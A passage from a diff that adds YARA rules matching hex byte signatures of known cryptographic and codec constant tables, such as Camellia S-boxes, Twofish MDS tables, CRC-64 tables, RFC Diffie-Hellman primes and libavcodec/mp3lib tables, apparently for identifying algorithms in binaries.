835e845e855e865e875e885e895e8a5e8b5e8c5e8d5e8e5e8f5e905e915e925e935e945e955e965e975e985e995e9a5e9b5e9c5e9d5e9e5e9f5ea05ea15ea25ea35ea45ea55ea65ea75ea85ea95eaa5eab5eac5ead5eae5eaf5eb05eb15eb25eb35eb45eb55eb65eb75eb85eb95eba5ebb5ebc5ebd5ebe5ebf5ec05ec15ec25ec35ec45ec55ec65ec75ec85ec95eca5ecb5ecc5ecd5ece5ecf5ed05ed15ed25ed35ed45ed55ed65ed75ed85ed95eda5edb5edc5edd5ede5edf5ee05ee15ee25ee35ee45ee55ee65ee75ee85ee95eea5eeb5eec5eed5eee5eef5ef05ef15ef25ef35ef45ef55ef65ef75ef85ef95efa5efb5efc5efd5efe5eff5e005f015f025f035f045f055f065f075f085f095f0a5f0b5f0c5f0d5f0e5f0f5f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_percw__flt64___64_big_480_
+{
+strings:
+	$a0 = { 3fe2983ffff543393fe2eb3ffffdda3f3fe34000000000003fe3963fffc1b9153fe3edc0001bead33fe446ffffe63aee3fe4a1bffff98ebc3fe4fdffffcc75dc3fe55c0000225c183fe5bb800037d5a73fe61cbfffbd6d923fe67fbfffc604983fe6e47fffc82a593fe74ac0001353cd3fe7b300000897063fe81d40003164623fe889000019c5123fe8f6c00035afe53fe9667ffffbb47d3fe9d83ffff543393fea4bbfffe860b03feac17fffbf93533feb393fffca501b3febb300000897063fec2f00002af31e3fecad40003164623fed2d7fffe1ef6b3fedb000000000003fee34c0000225c13feebc0000225c183fef363fffc1b9153fef93ffffdda3e83fefd4c0000225c13feff880002f3ea13feffebffff0f7b63fefe7ffffbb47d03fefb3ffffdda3e83fef63400042926e3feef5800026a79b3fee6b800037d5a73fedc5bfffd732a43fed04c0000225c13fec293fffca501b3feb33ffffdda3e83fea25bfffd732a43fe8ffbfffc604983fe7c2bfffce9b9e3fe67000000000003fe509000019c5123fe38e8000406cad3fe2023fffe4152d3fe065800026a79b3fdd7380007c8dd63fda00ffffd50ce23fd67700006fab4d3fd2d8000044b8303fce4fffff768fa13fc6d4ffffb2b0ca3fbe87fffea867123fae93fffca501ad }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_intwinbase_MMX__32_lil_1028_
+{
+strings:
+	$a0 = { 00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFCFFFFFFFCFFFFFFFBFFFFFFFBFFFFFFFAFFFFFFF9FFFFFFF9FFFFFFF8FFFFFFF7FFFFFFF6FFFFFFF5FFFFFFF3FFFFFFF2FFFFFFF0FFFFFFEFFFFFFFEDFFFFFFEBFFFFFFE8FFFFFFE6FFFFFFE3FFFFFFE1FFFFFFDDFFFFFFDAFFFFFFD7FFFFFFD3FFFFFFCFFFFFFFCBFFFFFFC6FFFFFFC1FFFFFFBCFFFFFFB7FFFFFFB1FFFFFFABFFFFFFA5FFFFFF9FFFFFFF98FFFFFF91FFFFFF8BFFFFFF83FFFFFF7CFFFFFF75FFFFFF6DFFFFFF66FFFFFF5FFFFFFF57FFFFFF50FFFFFF49FFFFFF42FFFFFF3CFFFFFF36FFFFFF30FFFFFF2BFFFFFF26FFFFFF22FFFFFF1FFFFFFF1DFFFFFF1CFFFFFF1CFFFFFF1DFFFFFF20FFFFFF23FFFFFF29FFFFFF30FFFFFF38FFFFFF43FFFFFF4FFFFFFF5DFFFFFF6EFFFFFF81FFFFFF96FFFFFFADFFFFFFC7FFFFFFE3FFFFFF0200000024000000480000006F00000099000000C5000000F4000000260100005B01000091010000CB010000070200004502000085020000C70200000B0300005003000097030000DF0300002804000071040000BA040000030500004C05000094050000DA0500001F06000062060000A2060000DF060000190700004E0700007F070000AA070000D1070000F0070000090800001B0800002508000027080000200800000F080000F5070000D0070000A0070000650700001E070000CB0600006C060000FF05000086050000000500006B040000CA0300001A0300005D02000092010000B9000000D3FFFFFFE0FEFFFFDFFDFFFFD2FCFFFFB9FBFFFF94FAFFFF64F9FFFF2AF8FFFFE6F6FFFF99F5FFFF44F4FFFFE9F2FFFF87F1FFFF21F0FFFFB7EEFFFF4CEDFFFFDFEBFFFF73EAFFFF09E9FFFFA3E7FFFF43E6FFFFE9E4FFFF99E3FFFF53E2FFFF1AE1FFFFEFDFFFFFD5DEFFFFCDDDFFFFDADCFFFFFDDBFFFF38DBFFFF8FDAFFFF01DAFFFF92D9FFFF44D9FFFF19D9FFFF12D9FFFF31D9FFFF79D9FFFFEAD9FFFF88DAFFFF53DBFFFF4DDCFFFF78DDFFFFD4DEFFFF64E0FFFF28E2FFFF22E4FFFF52E6FFFFB9E8FFFF58EBFFFF2FEEFFFF40F1FFFF89F4FFFF0BF8FFFFC6FBFFFFBAFFFFFFE60300004A080000E40C0000B5110000BA160000F21B00005C210000F7260000BF2C0000B4320000D43800001B3F000087450000164C0000C5520000915900007660000072670000816E0000A0750000CB7C00009F99FFFFD8A0FFFF11A8FFFF48AFFFFF78B6FFFF9EBDFFFFB5C4FFFFB9CBFFFFA6D2FFFF79D9FFFF2DE0FFFFBEE6FFFF2AEDFFFF6AF3FFFF7DF9FFFF5EFFFFFF090500007C0A0000B30F0000AA1400005E190000CD1D0000F4210000CF2500005E2900009C2C0000892F0000233200006734000054360000E937000026390000083A0000903A0000BE3A0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h263_intra_vlc_aic__16_big_412_
+{
+strings:
+	$a0 = { 0002000200060003000e0004000c0005000d000500100006001100060012000600160007001b00080020000900210009001a0009001b0009001c0009001d0009001e0009001f00090023000b0022000b0057000c0056000c0055000c0054000c0053000c000f00040014000600140007001e0008000f000a0021000b0050000c000b000500150007000e000a0009000a00150006001d0008000d000a0051000c00130006002300090007000b00170007002200090052000c001c0008000c000a001f0008000b000a00250009000a000a002400090006000b0021000a0020000a0008000a0020000b00070004000c0006001000070013000800110009001200090004000a0027000b0026000b005f000c000f0006001300090005000a0025000b000e0006001400090024000b000d00060006000a005e000c001100070007000a00130007005d000c00120007005c000c00140008005b000c00150008001a00080019000800180008001700080016000800190009001500090016000900180009001700090004000b0005000b0058000c0059000c005a000c00030007 }
+
+condition:
+	$a0
+}
+
+	
+rule Pkep_init__8_byt_64_
+{
+strings:
+	$a0 = { 9405f450817938ab3981058ccde804df6e7cab0763fe4ad747059d2d73a938bab54839100ad8d15a9d6474f88bc53e9abf27559c0c6a7ed8a478964c96bb3ac3 }
+
+condition:
+	$a0
+}
+
+	
+rule _First_Oakley_Default_Group___768_bit__from_RFC2409__8_byt_96_
+{
+strings:
+	$a0 = { ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a63a3620ffffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_sb_noise_attenuation__flt64___64_lil_256_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000333333333333d33f9a9999999999d93f000000000000e03f666666666666e63f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f000000000000f03f }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp3033__32_lil_1024_
+{
+strings:
+	$a0 = { 38380038414100411616001676760076d9d900d99393009360600060f2f200f272720072c2c200c2abab00ab9a9a009a757500750606000657570057a0a000a091910091f7f700f7b5b500b5c9c900c9a2a200a28c8c008cd2d200d290900090f6f600f607070007a7a700a7272700278e8e008eb2b200b249490049dede00de434300435c5c005cd7d700d7c7c700c73e3e003ef5f500f58f8f008f676700671f1f001f181800186e6e006eafaf00af2f2f002fe2e200e2858500850d0d000d53530053f0f000f09c9c009c65650065eaea00eaa3a300a3aeae00ae9e9e009eecec00ec808000802d2d002d6b6b006ba8a800a82b2b002b36360036a6a600a6c5c500c5868600864d4d004d33330033fdfd00fd6666006658580058969600963a3a003a09090009959500951010001078780078d8d800d842420042cccc00ccefef00ef26260026e5e500e5616100611a1a001a3f3f003f3b3b003b82820082b6b600b6dbdb00dbd4d400d498980098e8e800e88b8b008b02020002ebeb00eb0a0a000a2c2c002c1d1d001db0b000b06f6f006f8d8d008d888800880e0e000e19190019878700874e4e004e0b0b000ba9a900a90c0c000c79790079111100117f7f007f22220022e7e700e759590059e1e100e1dada00da3d3d003dc8c800c812120012040400047474007454540054303000307e7e007eb4b400b428280028555500556868006850500050bebe00bed0d000d0c4c400c431310031cbcb00cb2a2a002aadad00ad0f0f000fcaca00ca70700070ffff00ff323200326969006908080008626200620000000024240024d1d100d1fbfb00fbbaba00baeded00ed4545004581810081737300736d6d006d848400849f9f009feeee00ee4a4a004ac3c300c32e2e002ec1c100c101010001e6e600e6252500254848004899990099b9b900b9b3b300b37b7b007bf9f900f9cece00cebfbf00bfdfdf00df7171007129290029cdcd00cd6c6c006c13130013646400649b9b009b636300639d9d009dc0c000c04b4b004bb7b700b7a5a500a5898900895f5f005fb1b100b117170017f4f400f4bcbc00bcd3d300d346460046cfcf00cf373700375e5e005e4747004794940094fafa00fafcfc00fc5b5b005b97970097fefe00fe5a5a005aacac00ac3c3c003c4c4c004c0303000335350035f3f300f323230023b8b800b85d5d005d6a6a006a92920092d5d500d5212100214444004451510051c6c600c67d7d007d3939003983830083dcdc00dcaaaa00aa7c7c007c7777007756560056050500051b1b001ba4a400a415150015343400341e1e001e1c1c001cf8f800f8525200522020002014140014e9e900e9bdbd00bddddd00dde4e400e4a1a100a1e0e000e08a8a008af1f100f1d6d600d67a7a007abbbb00bbe3e300e3404000404f4f004f }
+
+condition:
+	$a0
+}
+
+	
+rule Twofish_mds__32_lil_4096_
+{
+strings:
+	$a0 = { 7532bcbcf321ececc6432020f4c9b3b3db03dada7b8b0202fb2be2e2c8fa9e9e4aecc9c9d309d4d4e66b18186b9f1e1e450e98987d38b2b2e8d2a6a64bb72626d6573c3c328a9393d8ee8282fd98525237d47b7b7137bbbbf1975b5be1834747303c24240fe25151f8c6baba1bf34a4a8748bfbffa700d0d06b3b0b03fde75755efdd2d2ba207d7dae3166665ba33a3a8a1c595900000000bc93cdcd9de01a1a6d2caeaec1ab7f7fb1c72b2b0eb9bebe80a0e0e05d108a8ad2523b3bd5ba6464a088d8d884a5e7e707e85f5f14111b1bb5c22c2c90b4fcfc2c273131a3658080b22a737373810c0c4c5f797954416b6b92024b4b74695353368f9494511f838338362a2ab09cc4c4bdc822225af8d5d5fcc3bdbd6078484862ceffff96074c4c6c77414142e6c7c7f724ebeb10141c1c7c635d5d2822363627c067678cafe9e913f9444495ea14149cbbf5f5c718cfcf242d3f3f46e3c0c03bdb7272706c5454ca4c2929e335f0f085fe0808cb17c6c6114ff3f3d0e48c8c9359a4a4b896cacaa63b6868834db8b820283838ff2ee5e59f56adad77840b0bc31dc8c8ccff999903ed58586f9a1919080a0e0ebf7e959540507070e730f7f72bcf6e6ee26e1f1f793db5b50c0f0909aa34616182165757410b9f9f3a809d9dea641111b9cd2525e4ddafaf9a084545a48ddfdf975ca3a37ed5eaeada5835357ad0eded17fc434366cbf8f894b1fbfba1d337371d40fafa3d68c2c2f0ccb4b4de5d3232b3719c9c0be7565672dae3e3a76087871c1b1515ef3af9f9d1bf636353a934343e859a9a8f42b1b133d17c7c269b88885fa63d3decd7a1a176dfe4e42a9481814901919181fb0f0f88aaeeeeee6116162173d7d7c4f597971aa8a5a5eb3ffefed9b56d6dc5ae7878396dc5c599e51d1dcda47676addc3e3e3167cbcb8b47b6b6015befef181e121223c56060ddb06a6a1ff64d4d4ee9cece2d7cdedef99d5555485a7e7e4fb22121f27a03036526a0a08e195e5e78665a5a5c4b6565584e62621945fdfd8df40606e586404098bef2f257ac3333679017177f8e0505055ee8e8647d4f4faf6a898963951010b62f7474fe750a0af5925c5cb7749b9b3c332d2da5d63030ce492e2ee98949496872464644557777e0d8a8a84d04969643bd28286929a9a92979d9d92e918686ac87d1d1154af4f459158d8da882d6d60abcb9b99e0d42426ec1f6f647b82f2fdf06dddd343923233562cccc6ac4f1f1cf12c1c1dceb8585229e8f8fc9a17171c0f090909b53aaaa89f10101d4e18b8bed8c4e4eab6f8e8e12a2ababa23e6f6f0d54e6e652f2dbdbbb7b929202b6b7b72fca6969a9d93939d70cd3d36123a7a71eada2a2b499c3c350446c6c04050707f67f0404c246272716a7acac2576d0d08613505056f7dcdc551a84840951e1e1be257a7a91ef13133939d9a9171790679c9c71b3a6a6d2e807070504525298fd808065a3e4e4df764545089a4b4b0292e0e0a0805a5a6678afafdde46a6ab0dd6363bfd12a2a3638e6e6540d202043c6cccc6235f2f2be9812121e18ebeb24f7a1a1d7ec4141776c2828bd43bcbc32757b7bd43788889b260d0d70fa4444f913fbfbb1947e7e5a4803037af28c8ce4d0b6b6478b24243c30e7e7a5846b6b4154dddd06df6060c523fdfd45193a3aa35bc2c2683d8d8d1559ecec21f3666631ae6f6f3ea25757168210109563efef5b01b8b84d838686912e6d6db5d983831f51aaaa539b5d5d637c68683ba6fefe3feb3030d6a57a7a25beacaca71609090f0cf0f035e3a7a723619090f0c0e9e9af8c9d9d803a5c5c92f50c0c81733131272cd0d076255656e70b92927bbbcecee94e0101f1891e1e9f6b3434a953f1f1c46ac3c399b45b5b97f1474783e118186be62222c8bd98980e451f1f6ee2b3b3c9f474742fb6f8f8cb669999ffcc1414ea955858ed03dcdcf7568b8be1d415151b1ca2a2ad1ed3d30cd7e2e22bfbc8c81dc35e5e198e2c2cc2b5494989e9c1c112cf95957ebf7d7d20ba111164ea0b0b8477c5c56d3989896aaf7c7cd1337171a1c9ffffce62bbbb37710f0ffb81b5b53d79e1e151093e3edcad3f3f2d247676a4cd55559df98282eed8404086e57878aec52525cdb99696044d777755440e0e0a0850501386f7f730e73737d3a1fafa401d616134aa4e4e8cedb0b0b30654546c7073732ab23b3b52d29f9f0b4102028b7bd8d888a0f3f34f11cbcb6731272746c26767c027fcfcb4903838282004047ff648487860e5e52eff4c4c079665654b5c2b2bc7b18e8e6fab42420d9ef5f5bb9cdbdbf2524a4af31b3d3da65fa4a45993b9b9bc0af9f93aef1313ef910808fe8591910149161661eedede7c2d2121b24fb1b1428f7272db3b2f2fb847bfbf4887aeae2c6dc0c0e3463c3c57d69a9a853ea9a929694f4f7d648181942a2e2e49cec6c617cb6969ca2fbdbdc3fca3a35c97e8e85e05ededd07ad1d187ac05058e7f6464bad5a5a5a81a2626b74bbebeb90e878760a7d5d5f85a363622281b1b11147575de3fd9d97929eeeeaa882d2d333c79795f4cb7b7b602caca96b8353558dac4c49cb04343fc1784841a554d4df61f59591c8ab2b2387d3333ac57cfcf18c70606f48d535369749b9b74b79797f5c4adad569fe3e3da72eaead57ef4f44a158f8f9e22ababa21262624e585f5fe8071d1de59923233934f6f6c16e6c6c445032325dde46467268a0a02665cdcd93bcdada03dbbabac6f89e9efac8d6d682a86e6ecf2b707050408585ebdc0a0a75fe93938a32dfdf8da429294cca1c1c1410d7d77321b4b4ccf0d4d409d38a8a105d5151e20f0000000019199a6f1a1ae09d94948f36c7c7e642c9c9ec4ad2d2fd5e7f7fabc1a8a8d8e032bc75bc21ecf3ec4320c620c9b3f4b303dadbda8b027b022be2fbe2fa9ec89eecc94ac909d4d3d46b18e6189f1e6b1e0e98459838b27db2d2a6e8a6b7264b26573cd63c8a933293ee82d8829852fd52d47b377b37bb71bb975bf15b8347e1473c243024e2510f51c6baf8baf34a1b4a48bf87bf700dfa0db3b006b0de753f75fdd25ed2207dba7d3166ae66a33a5b3a1c598a590000000093cdbccde01a9d1a2cae6daeab7fc17fc72bb12bb9be0ebea0e080e0108a5d8a523bd23bba64d56488d8a0d8a5e784e7e85f075f111b141bc22cb52cb4fc90fc27312c316580a3802a73b273810c730c5f794c79416b546b024b924b695374538f9436941f835183362a382a9cc4b0c4c822bd22f8d55ad5c3bdfcbd78486048ceff62ff074c964c77416c41e6c742c724ebf7eb141c101c635d7c5d22362836c0672767afe98ce9f9441344ea149514bbf59cf518cfc7cf2d3f243fe3c046c0db723b726c5470544c29ca2935f0e3f0fe08850817c6cbc64ff311f3e48cd08c59a493a496cab8ca3b68a6684db883b8283820382ee5ffe556ad9fad840b770b1dc8c3c8ff99cc99ed5803589a196f190a0e080e7e95bf955070407030f7e7f7cf6e2b6e6e1fe21f3db579b50f090c093461aa61165782570b9f419f809d3a9d6411ea11cd25b925ddafe4af08459a458ddfa4df5ca397a3d5ea7eea5835da35d0ed7aedfc431743cbf866f8b1fb94fbd337a13740fa1dfa68c23dc2ccb4f0b45d32de32719cb39ce7560b56dae372e36087a7871b151c153af9eff9bf63d163a9345334859a3e9a42b18fb1d17c337c9b882688a63d5f3dd7a1eca1dfe476e494812a8101914991fb0f810faaee88ee6116ee1673d721d7f597c497a8a51aa53ffeebfeb56dd96dae78c5786dc539c5e51d991da476cd76dc3ead3e67cb31cb47b68bb65bef01ef1e121812c5602360b06add6af64d1f4de9ce4ece7cde2dde9d55f9555a7e487eb2214f217a03f20326a065a0195e8e5e665a785a4b655c654e62586245fd19fdf4068d068640e540bef298f2ac335733901767178e057f055ee805e87d4f644f6a89af89951063102f74b674750afe0a925cf55c749bb79b332d3c2dd630a530492ece2e8949e9497246684655774477d8a8e0a804964d96bd28432829a969a979d929d991862e8687d1acd14af415f4158d598d82d6a8d6bcb90ab90d429e42c1f66ef6b82f472f06dddfdd3923342362cc35ccc4f16af112c1cfc1eb85dc859e8f228fa171c971f090c09053aa9baaf1018901e18bd48b8c4eed4e6f8eab8ea2ab12ab3e6fa26f54e60de6f2db52db7b92bb92b6b702b7ca692f69d939a9390cd3d7d323a761a7ada21ea299c3b4c3446c506c050704077f04f6044627c227a7ac16ac76d025d013508650f7dc56dc1a84558451e109e1257abe7aef139113d9a939d99067179071b39c71d2e8a6d20504070598fd529865a38065df76e4df089a450802924b02a080e0a066785a66dde4afddb0dd6ab0bfd163bf36382a36540de65443c620436235cc62be98f2be1e18121e24f7eb24d7eca1d7776c4177bd4328bd3275bc32d4377bd49b26889b70fa0d70f91344f9b194fbb15a487e5a7af2037ae4d08ce4478bb6473c30243ca584e7a541546b4106dfdd06c52360c54519fd45a35b3aa3683dc26815598d1521f3ec2131ae66313ea26f3e16825716956310955b01ef5b4d83b84d912e8691b5d96db51f51831f539baa53637c5d633ba6683b3febfe3fd6a530d625be7a25a716aca70f0c090f35e3f0352361a723f0c090f0af8ce9af803a9d8092f55c9281730c81272c31277625d076e70b56e77bbb927be94ecee9f18901f19f6b1e9fa95334a9c46af1c499b4c39997f15b9783e147836be6186bc8bd22c80e45980e6ee21f6ec9f4b3c92fb6742fcb66f8cbffcc99ffea9514eaed0358edf756dcf7e1d48be11b1c151bad1ea2ad0cd7d30c2bfbe22b1dc3c81d198e5e19c2b52cc289e9498912cfc1127ebf957e20ba7d2064ea116484770b846d39c56d6aaf896ad1337cd1a1c971a1ce62ffce3771bb37fb810ffb3d79b53d5109e151dcad3edc2d243f2da4cd76a49df9559deed882ee86e54086aec578aecdb925cd044d9604554477550a080e0a1386501330e7f730d3a137d3401dfa4034aa61348ced4e8cb306b0b36c70546c2ab2732a52d23b520b419f0b8b7b028b88a0d8884f11f34f6731cb6746c22746c02767c0b490fcb4282038287ff6047f786048782effe52e07964c074b5c654bc7b12bc76fab8e6f0d9e420dbb9cf5bbf252dbf2f31b4af3a65f3da65993a459bc0ab9bc3aeff93aef9113effe8508fe0149910161ee16617c2dde7cb24f21b2428fb142db3b72dbb8472fb84887bf482c6dae2ce346c0e357d63c57853e9a852969a9297d644f7d942a819449ce2e4917cbc617ca2f69cac3fcbdc35c97a35c5e05e85ed07aedd087acd1878e7f058ebad564baa81aa5a8b74b26b7b90ebeb960a78760f85ad5f82228362211141b11de3f75de7929d979aa88eeaa333c2d335f4c795fb602b7b696b8ca9658da35589cb0c49cfc1743fc1a55841af61f4df61c8a591c387db238ac5733ac18c7cf18f48d06f46974536974b79b74f5c497f5569fad56da72e3dad57eead54a15f44a9e228f9ea212aba24e58624ee8075fe8e5991de539342339c16ef6c144506c445dde325d726846722665a02693bccd9303dbda03c6f8bac6fac89efa82a8d682cf2b6ecf50407050ebdc85eb75fe0a758a32938a8da4df8d4cca294c14101c147321d773ccf0b4cc09d3d409105d8a10e20f51e2000000009a6f199ae09d1ae08f36948fe642c7e6ec4ac9ecfd5ed2fdabc17fabd8e0a8d8 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0xC96C5795D7870F42__64_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000000000000e10fd888e8783b3cc21fb011d1f176782310689939894d44a352b47075200c75425d6cf89d583749614d0461a4d17a0d8042dce94ca9413161c8bcb23d83f96f80c7643ad5fbc253a3d70ca3ec728f1742d8d42b040ab42bc29a08c248a3f51a2395d04aa0dbce260085b8d399528362e18a605b712ab85ee5fdad36acc5125a04f275be44bd296627e21d277d346422c6edc5af954c5f1e46af1946d9e51e2fa7a0c1ce319d251384b0a9570814685765bf71dfe06c536b843511849146eb35653ac90c793ed009462aa19540b79d4da725791da8cfa6712767a5f4e466e740c6687d7c0c1edc7ce57815e5359791380477cd6dddefaa04ed968f3e8f48c4310c9957b66730ff0d2f893f2f5eb9b249ce86e7a7b6c189754ec43b4efa68c844afcbe3c61210f3788cdb8b5f2b99be3c6dd453d7c3e185008c5e338cb2cb3d5e6d51eb045ab306624e41839d633a4b26af4e5b158b42701a2f0c87fcc7eb312bce035f742f930a17ed1337ed161a47530c1cef65fe627c6f086b2208238dd66be964fa80cbf5ed57ca749219f27ca0132b7b4a911a049b2fab39967856adda1e4a364ef0bed5e12269262669875cac668829fee16f24975a69a39eba1e0e2f0488ac4632f6761438abbc2eabcfff597c4ab3f62327876240caf12aca6b2e23712bfef2428356184d08ee9adbbadf5509e9e1425352a76e35da2d1f7d1e9188633b22c7f5f6e9b35f1832af6ccf60fe1bf93d77e42718c527797fab0d6bb184169870738583c9bf2abb601b1cba40f26e5a6fc3945238c952bbe5a3cf2312710c5aea7b47cb6a4a3079fa13def2e3077498f5cb561a9b3c4818b717bf56327d79f9b8cf37be4a4645daa8a7ae87c30b013ba77f266fbb303d3fd0b24bb2549a39dedf6ac35a2ca105fdcf025a63a5ec411cc0dad28bddd77d9c82063bc774964c7d8ddeb32f0cad705e9db62a1685e034bf926ea2fefddb085e180ef98fd76356bf17d67167af586a9c07bee85e26152e7d086660b65e2e12fd4aba89faf76f231c456201128f541f3f550a982b06195bde5ad210c37e226737bb904391d94c52d6b448cb79a1776ef5a4205240283a2a14abf8daa850011694e92433e4f9402775e6fcbb0c817b1b56f694223508365fb7f94caadd700d6356732cf1ac5ab53db77cf47944228e01946c9ce07dabc3457563446895d3f879f5219881d97ab948142e400931028274373e2890088bcf30d631f018e0f3f40cd2463d753d1c5e083349e5fdd564653410598d64eced2870f15655ec0495134c71148905483c527d901b518da0446941b30b391499cd24055204e19c71b51f39b38e81c7009fa7675281594fe8e79c5b719131d6d16ed11f909ee95e3916ea2310dc35b775bfab12f1d3ed3f9dc7902ed2c385a6a44edd6a33cc5d2e4c36e6569336eaa9ebe1f042723932210399cb7e51295ab83a10863ab0268230d268bd0630645ed99ec1fc37d16b865176b9c70bf27beec84f308a4f13743640a748b173f2fe561bd662092d13f18e933e1a321130e1e60a07937f55d1ee3e82efeb446951ace26ba3420558b0a33ae34b3a3e6493b3527a72b3732072bc8af29acb481c76cb479f4724e21897c49f17af5cd924b4d4f78e96d5946055db2f067eadaf5cd599f3ef3204ee6d34962b67da7cd551178643fee3f59815f6899b760b8da3291703fb2d7aa71b77f60c23a592df204bd51c4b3cab566d0f341393b4432e5633b4514f5d0f871702555e97d5e7ff2c3e764eff4cde76617a974127c4360e5a467ea0659764a934739fafbd1f8cd10f4fbcbfd586b558420b5db00d0e5d207937ddf2d1e7118938063cfd096ff9f1033a1fed61f6c0784e7efee2b97e280075421f68d925592acd1cfe6701adb152f620dd77693488dbbb643c78b1bc60a38058bc3a6d552c0ac1695d35b5ddc472fa557e25dd44fdfbb7119f2a05cc15838c2d9b5dc8a1c86c26297a52102920141d15594278b0199d5051b84da038f1e56b6d380f7cd1bd4c2a5cd900a45955341160fa10ccc06cbd5c241b1f144884c56718fa957413f5efdf461b9aac9b1d97e47a388ac402241ea93ed9851c8acc66920259c7c06380cfd333b8c818eb68b7e80f9bd87072513ea54b7ad7a8fab9469e77491bf5d4f5707821a8142d5c1d08431d8b0445c524810e596a0b9d4dccf93565ea4941a4805074540b46992c68284f682856f1b551a1022cc959293db9d9391028d34966c8f3814ec9dc91ee208bba72eaccf9771902f7360bc321fff17acc0a8b81fd16bdd38d3b6a8e259e55abb607499e4d076c22fb43a891958f845ac07face658e259b56a7b4de9806ab1cd51476ef9e8f388441c038ff6307b603c273f0fb4ec922c95660eeebb341ac4ed5d32cdab5c83fd6410762ca4840b151c2b4acd2ee450643693142c213cd88c4ea8280f315441b5c7e56cee3e8cc95dbfde506e7c502011169f618f7388a8f96ea45dac63e031c0e7e9194d6c38b9289fd225a48d7aea7a38bc104582a2629240872c6692cafbabc9ca68879d127343b1f15407dfce9a0f18b065e6d01612e7608b59c5c07e8bdee9c61d24cfa6033691fd21c545c65847bb457f244a1ed0afc37e43075a7649964a3307e655aec17e32083b66177228329b490a8718aaa0dae37236a408c239e36a3f7245071ab10b12044e4170d7dcd6fdae4aa07f0f543e859576836f67cd070cd8326260bf45ef74e30ee22263aca3dda23f032dbb244ba59903203dd3bd722cd447c1320b359a54ef7b20b86b6eeb7e5725c1b7b3e603066c19e2a7db7f3a8f215d03a803f7d2f71a6183eadf1e9e5e5b5062e507967626606c41f56f0f4faf2d28a0fab787a7d71614 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceStarts__32_lil_120_
+{
+strings:
+	$a0 = { 010000000200000003000000040000000500000007000000090000000d00000011000000190000002100000031000000410000006100000081000000c100000001010000810100000102000001030000010400000106000001080000010c0000011000000118000001200000013000000140000001600000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xD800000000000000__64_lil_refl_True_
+{
+strings:
+	$a0 = { 000000000000000007000000000000000e0000000000000009000000000000001c000000000000001b00000000000000120000000000000015000000000000000f00000000000000080000000000000001000000000000000600000000000000130000000000000014000000000000001d000000000000001a000000000000001e00000000000000190000000000000010000000000000001700000000000000020000000000000005000000000000000c000000000000000b00000000000000110000000000000016000000000000001f0000000000000018000000000000000d000000000000000a00000000000000030000000000000004000000000000000b000000000000000c00000000000000050000000000000002000000000000001700000000000000100000000000000019000000000000001e00000000000000040000000000000003000000000000000a000000000000000d0000000000000018000000000000001f0000000000000016000000000000001100000000000000150000000000000012000000000000001b000000000000001c0000000000000009000000000000000e00000000000000070000000000000000000000000000001a000000000000001d00000000000000140000000000000013000000000000000600000000000000010000000000000008000000000000000f000000000000001600000000000000110000000000000018000000000000001f000000000000000a000000000000000d000000000000000400000000000000030000000000000019000000000000001e0000000000000017000000000000001000000000000000050000000000000002000000000000000b000000000000000c0000000000000008000000000000000f0000000000000006000000000000000100000000000000140000000000000013000000000000001a000000000000001d000000000000000700000000000000000000000000000009000000000000000e000000000000001b000000000000001c00000000000000150000000000000012000000000000001d000000000000001a0000000000000013000000000000001400000000000000010000000000000006000000000000000f000000000000000800000000000000120000000000000015000000000000001c000000000000001b000000000000000e00000000000000090000000000000000000000000000000700000000000000030000000000000004000000000000000d000000000000000a000000000000001f000000000000001800000000000000110000000000000016000000000000000c000000000000000b0000000000000002000000000000000500000000000000100000000000000017000000000000001e0000000000000019000000000000001b000000000000001c00000000000000150000000000000012000000000000000700000000000000000000000000000009000000000000000e00000000000000140000000000000013000000000000001a000000000000001d0000000000000008000000000000000f0000000000000006000000000000000100000000000000050000000000000002000000000000000b000000000000000c0000000000000019000000000000001e00000000000000170000000000000010000000000000000a000000000000000d00000000000000040000000000000003000000000000001600000000000000110000000000000018000000000000001f00000000000000100000000000000017000000000000001e0000000000000019000000000000000c000000000000000b00000000000000020000000000000005000000000000001f00000000000000180000000000000011000000000000001600000000000000030000000000000004000000000000000d000000000000000a000000000000000e00000000000000090000000000000000000000000000000700000000000000120000000000000015000000000000001c000000000000001b00000000000000010000000000000006000000000000000f0000000000000008000000000000001d000000000000001a00000000000000130000000000000014000000000000000d000000000000000a0000000000000003000000000000000400000000000000110000000000000016000000000000001f000000000000001800000000000000020000000000000005000000000000000c000000000000000b000000000000001e00000000000000190000000000000010000000000000001700000000000000130000000000000014000000000000001d000000000000001a000000000000000f000000000000000800000000000000010000000000000006000000000000001c000000000000001b0000000000000012000000000000001500000000000000000000000000000007000000000000000e0000000000000009000000000000000600000000000000010000000000000008000000000000000f000000000000001a000000000000001d000000000000001400000000000000130000000000000009000000000000000e0000000000000007000000000000000000000000000000150000000000000012000000000000001b000000000000001c0000000000000018000000000000001f0000000000000016000000000000001100000000000000040000000000000003000000000000000a000000000000000d000000000000001700000000000000100000000000000019000000000000001e000000000000000b000000000000000c0000000000000005000000000000000200000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule _2048_bit_MODP_Group__from_RFC3526__Section_3___8_byt_256_
+{
+strings:
